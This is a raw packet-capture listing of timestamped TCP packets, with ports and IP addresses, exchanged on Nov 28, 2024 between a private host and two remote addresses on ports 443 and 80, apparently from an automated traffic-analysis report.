Nov 28, 2024 13:09:56.866621017 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.866687059 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.866694927 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.866735935 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.887157917 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.887175083 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.887245893 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.887268066 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.887299061 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.887334108 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.902736902 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.902756929 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.902813911 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.902837038 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.903003931 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.915606976 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.915632963 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.915788889 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.915807009 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.915849924 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.919295073 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.919368029 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.919369936 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.919423103 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.919441938 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.919457912 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.919466019 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.919476032 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.919486046 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.971141100 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.971172094 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.971400023 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.972630978 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.972668886 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.972934008 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.973742962 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.973758936 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.973826885 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.974504948 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.974514008 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.974596977 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.974773884 CET	49751	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.974787951 CET	443	49751	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.974808931 CET	49748	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.974826097 CET	443	49748	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.975128889 CET	49749	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.975143909 CET	443	49749	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.975269079 CET	49750	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.975279093 CET	443	49750	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.976382971 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.976419926 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.976511955 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.976634026 CET	49752	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:56.976646900 CET	443	49752	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:56.979665995 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.979682922 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.979733944 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.980304003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.980602980 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.980654001 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.981183052 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.981281996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.981333971 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.982268095 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.982343912 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.982388973 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.983136892 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.983400106 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.983462095 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.984294891 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.984407902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.985165119 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.985374928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.985444069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.986502886 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.986583948 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.986613989 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.987183094 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.987622976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.987720966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.987787962 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.988760948 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.988986015 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.989037991 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.989854097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.989964962 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.990010977 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.991022110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.991076946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.991123915 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.992172003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.992340088 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.992387056 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.993544102 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.993700027 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.993746996 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.994524956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.994637966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.994689941 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.995537996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.995683908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.995733976 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.996696949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.996808052 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.996860027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.997782946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.997910976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.998028040 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.998923063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.999301910 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.000051975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.000097036 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.000175953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.001023054 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.001358032 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.001471043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.001513958 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.002299070 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.002471924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.002516031 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.003439903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.003531933 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.003576040 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.004571915 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.004728079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.004825115 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.005703926 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.005844116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.005892992 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.006834030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.006939888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.007103920 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.007935047 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.007980108 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.008091927 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.009073973 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.009227991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.009324074 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.010190964 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.010381937 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.010427952 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.011395931 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.011476040 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.012504101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.012552977 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.012614965 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.013525009 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.014362097 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.014527082 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.014827013 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.015186071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.015244961 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.015290976 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.015978098 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.016187906 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.016233921 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.016988039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.017326117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.017370939 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.018101931 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.018229961 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.018270016 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.019223928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.019373894 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.019423962 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.020525932 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.020610094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.020654917 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.021646023 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.021750927 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.021873951 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.022589922 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.022656918 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.022699118 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.023705006 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.023844957 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.023889065 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.024843931 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.025038004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.025175095 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.025954962 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.026000977 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.026050091 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.027091980 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.027319908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.027385950 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.028266907 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.028383017 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.028429985 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.029357910 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.029437065 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.029484034 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.030498028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.030601978 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.030667067 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.031618118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.031723976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.031778097 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.032740116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.032829046 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.032876015 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.033906937 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.033956051 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.034046888 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.035005093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.035098076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.035147905 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.036124945 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.036240101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.036293983 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.037280083 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.037317991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.037471056 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.038400888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.038557053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.039161921 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.039489985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.039604902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.039649010 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.040647030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.040730953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.040786982 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.041784048 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.041863918 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.041913033 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.042882919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.042994976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.043123960 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.044037104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.044177055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.044342995 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.045213938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.045352936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.045399904 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.046294928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.096640110 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.108000040 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.108020067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.108067989 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.108624935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.108756065 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.108828068 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.109710932 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.109834909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.109879017 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.110821009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.110938072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.111092091 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.112004042 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.112154007 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.112318039 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.113114119 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.113248110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.113336086 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.114209890 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.114339113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.114495993 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.127568960 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.127727985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.127785921 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.128269911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.128429890 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.128477097 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.129255056 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.129368067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.129422903 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.130422115 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.130527020 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.130605936 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.131498098 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.131638050 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.131685019 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.132636070 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.132730007 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.132833958 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.133749008 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.133841991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.133893013 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.134864092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.134967089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.135087013 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.136008978 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.136109114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.136229992 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.137135983 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.137206078 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.137339115 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.138298035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.138546944 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.138596058 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.139384031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.139516115 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.139646053 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.140501022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.140564919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.141187906 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.141648054 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.141752005 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.141793966 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.142846107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.142904997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.143426895 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.143919945 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.144037962 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.144773006 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.145080090 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.145226002 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.145365000 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.146200895 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.146352053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.146420002 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.147281885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.147515059 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.147883892 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.148406029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.148647070 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.149122000 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.149602890 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.149719954 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.150034904 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.150682926 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.150859118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.150908947 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.151909113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.151978970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.152576923 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.152929068 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.152973890 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.153173923 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.154076099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.154292107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.154957056 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.155168056 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.155371904 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.155478954 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.156414986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.156435013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.156476974 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.157440901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.157484055 CET	80	49745	185.215.113.16	192.168.2.4
